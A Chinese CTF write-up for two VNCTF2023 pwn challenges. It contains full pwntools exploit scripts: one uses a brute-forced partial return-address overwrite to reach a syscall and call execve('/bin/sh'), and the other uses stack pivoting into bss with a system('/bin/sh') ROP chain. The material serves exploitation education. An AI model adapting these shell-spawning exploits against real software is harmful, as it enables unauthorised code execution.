首页 > 其他分享 >VNCTF2023(pwn签到)

VNCTF2023(pwn签到)

时间:2023-02-19 21:22:33浏览次数:49  
标签:ru 签到 delim ret VNCTF2023 sys length pwn lambda

XXX

程序分析

首先检查程序保护

1676797096856

从后往前看,给我们留下了syscall这个gadget

1676797327201

IDA静态分析,可以看到第一次读入的时候可以多读取0x10字节。第一个想法就是栈迁移,但是做的过程中感觉实在没有办法绕过pie,迁移到什么地方都不合适。

1676797192752

结合strtol这个return的值,应该可以控制rax进行syscall调用。

最后爆破一下ret地址,调用execve来getshell

exp

from pwn import *
from LibcSearcher import *
from sys import *
context(os="linux",arch = "amd64",log_level = "debug",terminal = ['gnome-terminal', '-x', 'sh', '-c'])
#++++++++++++++++++++++++++++++++++++++++
filename = sys.argv[1]
choice = sys.argv[2]
if choice == "1":
	port = sys.argv[3]
	# p = remote("node4.buuoj.cn",port)
#++++++++++++++++++++++++++++++++++++++++
r = lambda length: p.recv(length)
ru = lambda x : p.recvuntil(x)
s = lambda x : p.send(x)
sa = lambda delim,x : p.sendafter(delim,x)
sl = lambda x : p.sendline(x)
sla = lambda delim,x : p.sendlineafter(delim,x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))
def debug():
	gdb.attach(p)
	pause()
#++++++++++++++++++++++++++++++++++++++++
fake_rbp = "deadbeef"
while True:
	try:
		p = process(filename)
		# p = remote("node4.buuoj.cn",port)
		leave_ret_offset = 0x976
		syscall_ret_offset = 0x899
		phone = flat({
			0x0:"59",
			0x2: "/bin/sh\x00",
			0x30: fake_rbp,
			0x38: p8(0x99),
			0x39: p8(0x08)
			},length = 0x3a)
		# debug()
		ru("if you give me your number,i will give you some hao_kang_de\n")
		s(phone)

		ru("hao_kang_de is ")
		stack_addr = int(r(12) ,base = 16)
		leak(stack_addr)
		ru("anything want to say?\n")
		sl("1")
		sl("cat flag")
		itr()
	except Exception:
		p.close()

我们拿着exp动调来看一下,如果我们第一次输入的内容是 59/bin/sh,可以看到第一个函数的返回的时候,rdi存放的是strtol返回的地址,也就是/bin/sh字符串的地址,因此后面可以尝试利用syscall直接调用execve

1676811047809

因为需要用到syscall,所以要修改ret的值,但是syscall的偏移在0x8A7,可以看到ret地址的低二字节,这二字节中的低12bit是固定的,但是高4bit需要进行爆破控制,概率16分之一

1676798203579

ret的时候已经控制了rax、rdi,最后的rsi、rdx需要程序来调整一下,因此需要跳到syscall - 13的位置。循环爆破即可getshell。

1676811142062

traveler

程序分析

这题就是签到差不多的栈迁移,静态分析一眼就差不多可以有思路。程序也给出了system@plt,payload构造起来很简单。主要就是迁移的时候要考虑到调用栈会覆盖到got表,需要调整一下栈帧。

1676811254947

exp

因为内存空间是页对齐的,所以开辟bss段的时候会多出来很多空间,因此第一次leave的时候把栈迁移到高处的bss段,再ret回main函数的读取,即相当于任意地址写。即可控制程序执行。

from pwn import *
from LibcSearcher import *
from sys import *
context(os="linux",arch = "amd64",log_level = "debug",terminal = ['gnome-terminal', '-x', 'sh', '-c'])
#++++++++++++++++++++++++++++++++++++++++
filename = sys.argv[1]
choice = sys.argv[2]
if choice == "1":
	port = sys.argv[3]
	p = remote("node4.buuoj.cn",port)
else:
	p = process(filename)
elf = ELF(filename)
#++++++++++++++++++++++++++++++++++++++++
r = lambda length: p.recv(length)
ru = lambda x : p.recvuntil(x)
s = lambda x : p.send(x)
sa = lambda delim,x : p.sendafter(delim,x)
sl = lambda x : p.sendline(x)
sla = lambda delim,x : p.sendlineafter(delim,x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))
def debug():
	gdb.attach(p)
	pause()
#++++++++++++++++++++++++++++++++++++++++
fake_rbp = "deadbeef"
fake_ebp = 0x04000000

leave_ret = 0x0000000000401253
msg = 0x4040A0
pop_rdi = 0x00000000004012c3
system_plt = elf.plt["system"]
binsh = msg + 0x20
bss = 0x404d00
start = 0x401216

ru("who r u?\n")
payload = flat({
	0x20: [bss,start],
	},length = 0x30)
# debug()
s(payload)
# pause()
payload2 = flat({
	0x0: bss,
	0x8: start,
	0x10: binsh, 
	0x18: system_plt,
	0x20: "/bin/sh\x00",
	},length = 0x28)
ru("How many travels can a person have in his life?\n")
s(payload2)
pause()

payload3 = flat({
	0x0: [pop_rdi,binsh,system_plt],
	0x20:[bss - 0x28,leave_ret]
	})
s(payload3)
ru("How many travels can a person have in his life?\n")
sl("aaaabbb")
itr()

1676812178364

标签:ru,签到,delim,ret,VNCTF2023,sys,length,pwn,lambda
From: https://www.cnblogs.com/Tw0YY/p/17135624.html

相关文章

  • pwntools基础知识
    pwntools基础知识连接:本地process()里面放文件名例如process('./test');远程remote(,),remote接受url并指定端口,remote('url',端口)。数据处理:主要对整数进行打包,就是......
  • Hive 刷题——连续签到送金币
    需求描述用户每天签到可以领1金币,并可以累计签到天数,连续签到的第3、7天分别可以额外领2和6金币。每连续签到7天重新累积签到天数。从用户登录明细表中求出每个用户金币总......
  • pwntools
    pwntoolsPwntools是一个CTF框架和漏洞利用开发库,使用Python编写,专为快速原型设计和开发而设计,旨在使漏洞利用编写尽可能简单。github地址:https://github.com/Gallopsl......
  • 掘金自动签到获取矿石成功后推送到一封传话
    前言最近注册了掘金账号,按照网上大神们的介绍,签到和做任务可以累积矿石,可以兑换实物和道具。网上有使用GithubActions自动实现签到、自动做任务的node项目,直接fork后,填写......
  • 第 45 届国际大学生程序设计竞赛(ICPC)亚洲区域赛(上海),签到题G Fibonacci
    problem链接:https://ac.nowcoder.com/acm/problem/214895来源:牛客网示例1输入复制3输出复制2示例2输入复制10输出复制24示例3输入复制100输出复制273......
  • 2022“祥云杯”——PWN和Crypto
    分享一下之前第三届“祥云杯”的几道题,我们团队也在本次比赛中获得很多新的知识和大赛经验,赛后总结时,重点针对PWN和Crypto两大模块进行了深入研究和整理。PWN部分1、unexplo......
  • A 阿宁的签到题【2023牛客寒假算法基础集训营6】
    A 阿宁的签到题原题链接代码点击查看代码#include<iostream>#include<cstdio>#include<cstring>#include<algorithm>#include<cmath>#include<vector>#include......
  • 2022西湖论剑pwn
    pwnmessageboard程序保护首先查程序保护、沙箱,只能读取flag。另外题目给了libc库的附件,需要我们对程序先进行patch再调试。可以利用patchelf进行patch,因为与解题并......
  • Web10道签到题
    题目1万能密码题目2弱口令admin123456登录后台,文件管理上传<?phpsystem('cat/tmp/flag');?>题目3题目4F12发现include.phpinclude.php?file=php://filter/......
  • PWN基础
    PWN基础程序的编译与链接编译:由C语言代码生成汇编代码汇编:由汇编代码生成机器码链接:将多个机器码的目标文件链接成一个可执行文件Linux下的可执行文件格式ELF什么......